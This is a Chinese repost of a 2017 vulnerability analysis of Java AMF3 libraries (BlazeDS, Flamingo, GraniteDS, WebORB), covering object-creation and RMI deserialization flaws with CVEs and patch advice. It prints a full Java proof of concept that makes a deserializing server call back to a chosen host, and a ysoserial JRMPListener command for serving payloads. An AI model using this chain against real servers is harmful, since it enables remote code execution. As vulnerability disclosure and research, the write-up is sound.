java amf3_Java AMF3 反序列化漏洞分析

66b39cefea89699334f2cf28c29bb452.gif

66b39cefea89699334f2cf28c29bb452.gif

写在前面的话

AMF(Action Message Format)是一种二进制序列化格式,之前主要是Flash应用程序在使用这种格式。近期,Code White发现有多个Java AMF库中存在

目前,漏洞相关信息已上报至美国CERT(详情请参考美国CERT VU#307983)

概述

目前,Code White主要对以下几种热门的Java AMF实现:

Flex BlazeDS by Adobe

Flex BlazeDS by Apache

Flamingo AMF Serializer by Exadel (已停更)

GraniteDS (已停更)

WebORB for Java by Midnight Coders

而这些又存在着下面列出的一个或多个漏洞:

XML外部实体注入(XXE)

任意对象创建及属性设置

通过RMI实现Java序列化

漏洞影响

简而言之,任意远程

前两个漏洞并不是新漏洞,但是目前仍然有很多库存在这样的漏洞。除此之外,研究人员也发现了一种能够将这种设计缺陷转换成Java序列化漏洞的方法。

66b39cefea89699334f2cf28c29bb452.gif

我们将会对上述漏洞(除了XXE)进行详细描述,如果你想了解关于这个XXE漏洞的详细内容,请参考我们之前所发表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。

介绍

AMF3(Action Message Format version 3)同样是一种二进制信息编码格式,它也是Flash应用在与后台交互时主要使用的一种

AMF3对象的新功能可以归结为两种新增加的特性,而这两种新特性(dynamic和externalizable)描述了对象是如何进行序列化操作的:

Dynamic:一个声明了动态特性的类实例;公共变量成员可以在程序运行时动态添加(或删除)到实例中。

Externalizable:实现flash.utils.IExternalizable并完全控制其成员序列化的类实例。

注:具体请参考Adobe官方给出的解释【传送门】。

Dynamic特性

我们可以拿Dynamic特性与JavaBeans的功能进行对比:它允许我们通过类名及属性来创建一个对象。实际上,很多JavaBeans实体目前已经实现了这种技术,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。

但需要注意的是,这种功能将会导致一种可利用的漏洞产生。实际上,Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了,并且还在2016年发布了相应漏洞的利用代码及PoC。

Externalizable特性

我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上,很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整,其实它与Java的java.io.Externalizable区别不大,这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。

java.io.Externalizable接口定义了两个方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着,在程序的运行过程中不存在默认的序列化/反序列化行为以及有效性检测。因此,相对于java.io.Serializable来说,我们使用java.io.Externalizable来实现序列化/反序列化则更加的简单和高效。

将EXTERNALIZABLE.READEXTERNAL转换为OBJECTINPUTSTREAM.READOBJECT

在OpenJDK 8u121中总共有十五个类实现了java.io.Externalizable接口,而其中绝大多数类的任务仅仅是重构一个对象的状态而已。除此之外,实际传递给Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput实例也并非java.io.ObjectInputStream的实例。

在这十五个类中,那些与RMI有关的类则吸引了我们的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2,因为他们会通过sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法来对sun.rmi.transport.LiveRef对象进行重构。除此之外,这个方法还会重构一个sun.rmi.transport.tcp.TCPEndpoint对象以及一个本地sun.rmi.transport.LiveRef对象,并且在sun.rmi.transport.DGCClient中进行注册。其中,DGCClient负责实现客户端的RMI分布式垃圾回收系统。DGCClient的外部接口为“registerRefs”方法,当一个LiveRef的远程对象需要进入虚拟机系统时,它需要在DGCClient中进行注册。关于DGCClient的更多内容请参考OpenJDK给出的官方文档【传送门】。

根据官方文档中的描述,LiveRef的注册是由一次远程调用完成的,而我们觉得这里将有可能允许我们通过RMI来实现远程代码执行(RCE)!

在对这次调用进行了追踪分析之后,我们发现整个调用过程非常复杂,它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多种对象及方法。

66b39cefea89699334f2cf28c29bb452.gif

接下来让我们来看看,如果我们通过一个sun.rmi.server.UnicastRef对象来对一条AMF消息进行反序列化的话会出现什么情况,相关代码如下所示(利用了Flex BlazeDS):

import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Arrays;import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.ActionContext;import flex.messaging.io.amf.ActionMessage;import flex.messaging.io.amf.AmfMessageDeserializer;import flex.messaging.io.amf.AmfMessageSerializer;import flex.messaging.io.amf.MessageBody;public class Amf3ExternalizableUnicastRef {public static void main(String[] args) throws IOException, ClassNotFoundException {if (args.length  ");return;}boolean doDeserialize = false;if (args.length == 3) {doDeserialize = true;args = Arrays.copyOfRange(args, 1, args.length);}// generate the UnicastRef objectObject unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));// serialize object to AMF messagebyte[] amf = serialize(unicastRef);// deserialize AMF messageif (doDeserialize) {deserialize(amf);} else {System.out.write(amf);}}public static Object generateUnicastRef(String host, int port) {java.rmi.server.ObjID objId = new java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);return new sun.rmi.server.UnicastRef(liveRef);}public static byte[] serialize(Object data) throws IOException {MessageBody body = new MessageBody();body.setData(data);ActionMessage message = new ActionMessage();message.addBody(body);ByteArrayOutputStream out = new ByteArrayOutputStream();AmfMessageSerializer serializer = new AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(), out, null);serializer.writeMessage(message);return out.toByteArray();}public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {ByteArrayInputStream in = new ByteArrayInputStream(amf);AmfMessageDeserializer deserializer = new AmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(), in, null);deserializer.readMessage(new ActionMessage(), new ActionContext());}}

为了证实代码能够正常运行,我们首先设置了一个监听器,然后看一看链接是否能够成功建立。

66b39cefea89699334f2cf28c29bb452.gif

此时,我们成功地与客户端建立了一条通信连接,而且使用的还是Java RMI传输协议。

漏洞利用

实际上,jacob Baines早在2016年就已经将这项技术(反序列化黑名单绕过)公之于众了,但是我并不确定当时他是否知道这种技术同样还会将任意的Externalizable.readExternal对象转换为ObjectInputStream.readObject对象。除此之外,他当时还介绍了一个可以发送任意Payload的JRMP监听器:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...

厂商产品影响情况

66b39cefea89699334f2cf28c29bb452.gif

缓解方案

首先,使用了Adobe或Apache实现的应用程序应该尽快将Apache更新至最新版本(v4.7.3)。其次,Exadel目前已经停止对他的代码库进行维护了,所以使用了Flamingo AMF Serializer的用户不会再收到更新推送了。不过目前对于GraniteDS和WebORB还没有合适的解决方案。

参考资料

http://codewhitesec.blogspot.com/2017/04/amf.html

http://openjdk.java.net/jeps/290

http://www.kb.cert.org/vuls/id/279472

http://www.adobe.com/go/amfspec

https://cwe.mitre.org/data/definitions/502.html

https://cwe.mitre.org/data/definitions/913.html

https://cwe.mitre.org/data/definitions/611.html

其他信息

CVE ID:

CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208

公开日期:2017年4月4日

最新更新日期:2017年4月4日

文档版本:73

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/574610.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php修改js内容,js怎样修改html元素的内容?HTML DOM实现修改内容

js怎样修改html元素的内容?本章就给大家介绍在js中利用HTML DOM是怎样修改html元素内容的。有一定的参考价值,有需要的朋友可以参考一下,希望对你们有所帮助。首先我们要了解HTML DOM是什么?HTML DOM的作用是什么?HTML…

java中的删除函数的使用方法,如何用Java删除文件

本文概述有两种删除Java文件的方法:使用File.delete()方法使用File.deleteOnExit()方法Java File.delete()方法在Java中, 我们可以使用File类的File.delete()方法删除文件。 delete()方法删除由抽象路径名表示的文件或目录。如果路径名是目录, 则该目录必须为空才能…

C#开发微信门户及应用(28)--微信“摇一摇·周边”功能的使用和接口的实现

C#开发微信门户及应用(28)--微信“摇一摇周边”功能的使用和接口的实现 原文:C#开发微信门户及应用(28)--微信“摇一摇周边”功能的使用和接口的实现”摇一摇周边“是微信提供的一种新的基于位置的连接方式。用户通过“摇一摇”的“周边”页卡,可以与线下商户进行互…

【计算几何】点在多边形内部

问题描述:已知点P(x,y)和多边形Poly,判断点P(x,y)是否在多边形内部。 基本方法:射线法 以点P为端点,向左方作射线L,由于多边形是有界的,所以射线L的左端一定在多边形外部,考虑沿着L从无究远处开…

Hungary(匈牙利算法)——二分图最大匹配

在复习匈牙利算法的时候,发现这么一篇介绍匈牙利算法的文章,非常通俗易懂,所以就借鉴过来了。 复杂度:邻接矩阵:O(v^3)邻接表:O(V*E) 附上链接:趣…

白盒测试 语句覆盖、判定覆盖、条件覆盖、判定条件覆盖、条件组合覆盖、路径覆盖(转)...

转自:http://wenda.tianya.cn/wenda/thread?tid758a1e447e62b7df&hlja 白盒测试作为测试人员常用的一种测试方法,越来越受到测试工程师的重视。白盒测试并不是简单的按照代码设计用例,而是需要根据不同的测试需求,结合不同的…

matlab getsplitpic,MATLAB_9-模式识别笔记

1,识别单独字符的:思想:picsize[20,10];创建一个矩阵,将两个照片整理成大小一致的。具体就是使用后面的:aimresize(a,picsize);fontsABCDEFGHNVJXSMQ;建立字符串用于匹配输出(就是识别的功能!)下面一个for循…

浅谈android4.0开发之GridLayout布局

作者:李响 本文重点讲述了自android4.0版本号后新增的GridLayout网格布局的一些基本内容,并在此基础上实现了一个简单的计算器布局框架。通过本文,您可以了解到一些android UI开发的新特性,并可以实现相关应用。 在android4.0版本号之…

ThinkPHP---RBAC

一、什么是RBAC 基于角色的访问控制(Role-Based Access Control)作为传统访问控制(自主访问,强制访问)的有前景的代替受到广泛的关注。 在RBAC中,权限与角色相关联,用户通过成为适当角色的成员而…

c mysql bulk,MySqlBulkLoader批量上传遇到的问题和解决方法

最近用 MySqlBulkLoader 向MySql数据库批量上传数据遇到了些问题,做下记录问题1:如图原因:版本不合,使用的MySql版本和引用的mysql.data 版本不和解决方案:用nuget将mysql.data升级到对应版本,如果是MySql8…

验证必须是数字php,Element 中表单非必填数据项 必须为数字的验证问题

Element-ui 的el-form组建中,自带基本的验证功能,比如某些项必填的验证,直接加入rules 规则中即可,如下实例:在页面中书写如下:在vue 初始化data中filterForm: {firstDay: ,lastDay: },rules: {firstDay: […

为开发者准备的9个实用PHP代码片段(转)

[导读] 当你开发网站、app或博客系统时,如果有一些实用的代码片段可以直接使用,就可以节省你大量的时间和精力。这篇文章就为你分享几个实用的PHP代码片段,帮助你的Web开发。 本文由PHP100中文网编译,转载请看文末的转载要求&…

idea 自动生产序列吗,IDEA自动生成序列化Id

实体对象实现了java.io.Serializable接口后,一般都会提供一个serialVersionUID以做版本区分。在idea里,可以通过设置来快速生成serialVersionUID。设置方法1、打开Preferences–>Editor–>Inspections,然后在右侧输入UID进行搜索(搜索方…

ZH奶酪:Ionic中(弹出式窗口)的$ionicModal使用方法

Ionic中[弹出式窗口]有两种(如下图所示),$ionicModal和$ionicPopup; $ionicModal是完整的页面; $ionicPopup是(Dialog)对话框样式的,直接用JavaScript设定对话框的一些参数,通常用于通知消息、确认等作用&a…

php实现购物车 redis,redis 哈希数据类型简单操作(实现购物车案例)

这里不累赘如何安装redis和php redis扩展,主要熟悉调用redis哈希数据类型如图简单方法操作如下1:hSet2:hGet4:hDel5:hGetAll4:hExists5:hIncrBy简单购物车实现namespaceHome\Controller;useThink\Controller;useOrg\Net\Http;useThink\Cache\Driver\Red…

php scsi平台,三大SCSI Target平台PK:让服务器化身SAN

就服务器而言,从虚拟化平台到数据库应用的许多功能,都需要有SAN存储设备的支持,但是对于模拟测试、教学之类的应用来说,受到成本限制采购SAN存储设备便有所困难。特别是企业,都不会仅仅为了测试等常态使用的用途&#…

[BZOJ 1012] [JSOI 2008] 最大数maxnumber

1012: [JSOI2008]最大数maxnumber Time Limit: 3 Sec Memory Limit: 162 MBSubmit: 5094 Solved: 2276[Submit][Status][Discuss]Description 现在请求你维护一个数列,要求提供以下两种操作: 1、 查询操作。语法:Q L 功能:查询当…

php 数组元素往后移动,php 二维数组 元素移动

[已关闭问题]关闭于 2014-11-20 16:02二维数组元素如何实现,满足一定的条件,跳到下下个元素,不满足的话,顺序执行呢?比如:header("Content-type:text/html;charsetutf-8");$arr array(array(id&…

帝国cms仿php自媒体新闻系统,帝国CMS仿《砍柴网》源码 专栏自媒体投稿资讯文章新闻网站模板...

在开发妹入手了一套模版,测试效果真心不错这里发出来供大家参考研究源码简介一家拥有全球视野的前沿科技媒体,我们始终秉承观点独到、全面深入、有料有趣的宗旨,在科技与人文之间寻找商业新价值,坚持以人文的视角解读科技&#xf…

【Win10】UAP/UWP/通用 开发之 x:Bind

【Win10】UAP/UWP/通用 开发之 x:Bind [Some information relates to pre-released product which may be substantially modified before its commercially released. Microsoft makes no warranties, express or implied, with respect to the information provided here.] […